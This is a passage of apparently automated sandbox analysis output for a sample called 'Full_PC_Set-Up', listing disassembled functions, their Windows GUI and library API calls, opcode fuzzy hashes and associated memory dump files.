Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect
String ID:
API String ID: 400858303-0
Opcode ID: 307af6f5c5311a4521645c78e9e24f5a7325a50bf5966a6533b7c368cd349b78
Instruction ID: 389d88e4aa823a7d3c1cb4061ec23c9645d027f2859395109f9dfcc3f65cf6ac
Opcode Fuzzy Hash: 307af6f5c5311a4521645c78e9e24f5a7325a50bf5966a6533b7c368cd349b78
Instruction Fuzzy Hash: 1D518CB0901B409FD360CF2AC981B97FAE8FF99700F404A2FE1AE87651DBB56444CB65

Function 002A1850 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000000,00000000), ref: 002A18C5
InvalidateRect.USER32(?,?,00000000,?,?,?,?,?,002A1AB3,?,?), ref: 002A18D9
OffsetRect.USER32(00000000,00000000,00000000), ref: 002A195C
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?,?,002A1AB3,?,?), ref: 002A1990

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$InvalidateOffset$Scroll
String ID:
API String ID: 3230852653-0
Opcode ID: 4b229f47591647e002f28c374cd06566f0e2e436f4f57d896398bcd98271b1a9
Instruction ID: 6410b636315995bf4188887c2964e9499ee9d00af6fc699680ccb9d61537034c
Opcode Fuzzy Hash: 4b229f47591647e002f28c374cd06566f0e2e436f4f57d896398bcd98271b1a9
Instruction Fuzzy Hash: 3E41F4B46087019FC314DF69D881E2AB7E9FBC8714F108A1EF99A87391D730E915CB92

Function 002B0EE0 Relevance: 6.1, APIs: 4, Instructions: 119windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(?,00000080), ref: 002B0F78
SendMessageW.USER32(?,00000080,00000001,00000000), ref: 002B0F92
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 002B0FA0
LoadCursorW.USER32(00000000,00007F00), ref: 002B0FAD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: LoadMessageSend$CursorIcon
String ID:
API String ID: 3397650401-0
Opcode ID: e6318291839e4ebbdd3544c4b49b4a3c40a02c5c743a64167002407f337b15b5
Instruction ID: 69312b4c7f8ce4b35ce1b88a2afc27aef6ec217d661abfa8ffee8ff720e4df86
Opcode Fuzzy Hash: e6318291839e4ebbdd3544c4b49b4a3c40a02c5c743a64167002407f337b15b5
Instruction Fuzzy Hash: 5E418DB2644340AFD320DF698C86F1AB7E4FB88760F100A2EF659DB2D1DB74E8008B55

Function 003A6740 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 003A67A9
GetDlgCtrlID.USER32(?), ref: 003A67B4
GetDlgItem.USER32(?,?), ref: 003A6800
GetWindowRect.USER32(?,?), ref: 003A680E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$CtrlItemRect
String ID:
API String ID: 2230695319-0
Opcode ID: 4d5204980cb4b6fe331ea97f02e2bfd9f58568a00b5d9c621738d78e7c1cac5b
Instruction ID: 352c9c88ea78ffb20f151414e98b31291670a856fe47cbf046d4322aeb601605
Opcode Fuzzy Hash: 4d5204980cb4b6fe331ea97f02e2bfd9f58568a00b5d9c621738d78e7c1cac5b
Instruction Fuzzy Hash: A3414C752047019FC716DF68C885F6BB7F9FB8A710F044A2DF55687261DB35E8088B62

Function 002CEB50 Relevance: 6.1, APIs: 4, Instructions: 115windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(?,00000084), ref: 002CEBA4
SendMessageW.USER32(?,00001109,00000002,?), ref: 002CEBFA
LoadBitmapW.USER32(?,0000006C), ref: 002CEC26
SendMessageW.USER32(?,00001109,00000000,?), ref: 002CEC7C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: BitmapLoadMessageSend
String ID:
API String ID: 185112033-0
Opcode ID: a752669823d764327e89ce64f67be60425d1375d815dfb26c01f1d107884fca9
Instruction ID: 25ce94e173198f3ffcb265f3253df4400e22ba8b51594e7e23ee65e754d33077
Opcode Fuzzy Hash: a752669823d764327e89ce64f67be60425d1375d815dfb26c01f1d107884fca9
Instruction Fuzzy Hash: 9441D3B1244300AFD311EF60C846F5BB7E4BF88B10F044A1DB6959B2D2DBB4E8048B96

Function 0029EE00 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0029EEB9
OffsetRect.USER32(?,00000000,00000000), ref: 0029EF23
InvalidateRect.USER32(?,?,00000001), ref: 0029EF34
UpdateWindow.USER32(?), ref: 0029EF3E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$ClientInvalidateOffsetUpdateWindow
String ID:
API String ID: 2464007327-0
Opcode ID: 84e25afe2433fa5c6e8a7a97d44a6d7e59f6448bf7773c84a6eb8ff299bd199b
Instruction ID: 6514160d4c5bfc7a83fbd261d8eca3bd5479640202a8759ffe09455b42e901f0
Opcode Fuzzy Hash: 84e25afe2433fa5c6e8a7a97d44a6d7e59f6448bf7773c84a6eb8ff299bd199b
Instruction Fuzzy Hash: D14165352103019FCB19EF68D484A2AB7E5FF88320F26895DF48A8B355DB31E811CB66

Function 003BF5E0 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

CreateFontIndirectW.GDI32(003BF765), ref: 003BF669
CreateFontIndirectW.GDI32(003BF765), ref: 003BF685
CreateFontIndirectW.GDI32(003BF765), ref: 003BF703
CreateFontIndirectW.GDI32(003BF765), ref: 003BF717

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: CreateFontIndirect
String ID:
API String ID: 3720817429-0
Opcode ID: 4ea3ea2663ee0afc366241f82b6665b9ff8e13b4058075eea189d0ab4a4ce8b1
Instruction ID: 8fa7849db6341db200d894027519de0e22f4cba0e48376b70478b7457def969e
Opcode Fuzzy Hash: 4ea3ea2663ee0afc366241f82b6665b9ff8e13b4058075eea189d0ab4a4ce8b1
Instruction Fuzzy Hash: DE31BF716107019FC729EF78C855BAAB3E4BF49314F048B2DB5A6CB282DB74E408CB90

Function 0039A61D Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0039A651
__isleadbyte_l.LIBCMT ref: 0039A685
MultiByteToWideChar.KERNEL32(00000080,00000009,0038184B,?,00000000,00000000,?,?,?,?,0038184B,00000000,?), ref: 0039A6B6
MultiByteToWideChar.KERNEL32(00000080,00000009,0038184B,00000001,00000000,00000000,?,?,?,?,0038184B,00000000,?), ref: 0039A724

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 895bab96f8a582558c1dacd6e77cfab377dcc2fd58746b587b62e36b29759566
Instruction ID: f7fe00a0d7ef9ef61fab35d3e2bd3ca44a2ad9b87178559ae4309cdf1fcc6de3
Opcode Fuzzy Hash: 895bab96f8a582558c1dacd6e77cfab377dcc2fd58746b587b62e36b29759566
Instruction Fuzzy Hash: D431E131A00645EFCF22DF64C885DAE7BB5FF01310F1A86A9E4618B1A1D731DD40DB92

Function 00356290 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 003562C7
allocator.LIBCONCRTD ref: 00356301
allocator.LIBCONCRTD ref: 00356333
allocator.LIBCONCRTD ref: 00356365

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 78254ae5d5bdc6757c18e8f502d09c1d4938b0c194c539a5113fc1d0fe4f9605
Instruction ID: 5d0a1ea3eb9b12f9c0ce87b66e9a3329df55593d7662f3907ab2e9942c883b3d
Opcode Fuzzy Hash: 78254ae5d5bdc6757c18e8f502d09c1d4938b0c194c539a5113fc1d0fe4f9605
Instruction Fuzzy Hash: 20311BB1D002089BDB05DFD8D892BEFBBB9EF48318F144529E505AB381D7356944CBA1

Function 003550F0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

allocator.LIBCPMTD ref: 00355127
allocator.LIBCONCRTD ref: 00355161
allocator.LIBCONCRTD ref: 00355193
allocator.LIBCONCRTD ref: 003551C5

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: allocator
String ID:
API String ID: 3447690668-0
Opcode ID: 16fcc785ac29961ab01a8f22ac1e37c1b4015b890050bb0ea462fc044d5f5e11
Instruction ID: cb4167e47613a295d9faf06181c9c7e232905205976149f14c55e2998ca59a49
Opcode Fuzzy Hash: 16fcc785ac29961ab01a8f22ac1e37c1b4015b890050bb0ea462fc044d5f5e11
Instruction Fuzzy Hash: 19311BB1D042089BDB05DFD8D892BEFBBB9EF48314F144529E505BB381D735A944CBA1

Function 003C6650 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,5EBD7D5F,0060F9C4,?,?,00000000,004C1734,000000FF,003C6818,?,80070057,0060F9C4,0060F9A0,0060FA14,00000000,0060F9C4), ref: 003C66AF
DeleteObject.GDI32(004D257C), ref: 003C66BD
DeleteCriticalSection.KERNEL32(?,5EBD7D5F,0060F9C4,?,?,00000000,004C1734,000000FF,003C6818,?,80070057,0060F9C4,0060F9A0,0060FA14,00000000,0060F9C4), ref: 003C66C7
SelectObject.GDI32(5EBD7D5F,000000FF), ref: 003C66F4

Part of subcall function 0036F058: __EH_prolog3.LIBCMT ref: 0036F05F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: DeleteObject$CriticalFreeH_prolog3LibrarySectionSelect
String ID:
API String ID: 1749043304-0
Opcode ID: f4e4ffa58b818e49bb0693dd1cb59ec1951818babe28044e2881adc044ed5c92
Instruction ID: 1968e972d418109ddcc9fedc51b2c435fcb85826281bde45446664e92aa2b13c
Opcode Fuzzy Hash: f4e4ffa58b818e49bb0693dd1cb59ec1951818babe28044e2881adc044ed5c92
Instruction Fuzzy Hash: C8315D74204B428FD315DF28C899B1ABBE4FF95324F144A1DE496CB6A1DB74E805CB91

Function 002AD300 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002AD331
GetParent.USER32(?), ref: 002AD340

Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB80
Part of subcall function 0036BB6F: ScreenToClient.USER32(?,?), ref: 0036BB8D

InflateRect.USER32(?,00000001,00000001), ref: 002AD39B

Part of subcall function 0036C2CB: __EH_prolog3.LIBCMT ref: 0036C2D2
Part of subcall function 0036C2CB: CreatePen.GDI32(?,?,?), ref: 0036C2F3

Part of subcall function 0036C21D: SelectObject.GDI32(?,00000000), ref: 0036C243
Part of subcall function 0036C21D: SelectObject.GDI32(?,?), ref: 0036C259

Rectangle.GDI32(?,?,?,?,?), ref: 002AD3DD

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ClientObjectRectScreenSelect$CreateH_prolog3InflateParentRectangleWindow
String ID:
API String ID: 1404281074-0
Opcode ID: b7bd1f2c8e345efec0a6a79a861fbea47dee0517a656f2627e8f91dbdd9b3624
Instruction ID: 1e1a4869b4c2ee145c4ae5aba3adbff4e045ebcc4ce31bebb2eb84b2a43e7e46
Opcode Fuzzy Hash: b7bd1f2c8e345efec0a6a79a861fbea47dee0517a656f2627e8f91dbdd9b3624
Instruction Fuzzy Hash: A6317AB1618300AFC704DFA4C885B6BB7E9FBC8714F008A1DFA9597290DB75E9058F66

Function 004B4070 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

task.LIBCPMTD ref: 004B40D9
task.LIBCPMTD ref: 004B413B
task.LIBCPMTD ref: 004B4183

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: task
String ID:
API String ID: 1384045349-0
Opcode ID: 921559a11af2e45518b741997abc49ac51e0cc76822f2eb7c56c4a0cfe4d001d
Instruction ID: 131fa4313fc52d76af3bd3c7850b38b63ffa70d004cd100e26fbb2cd91b9869b
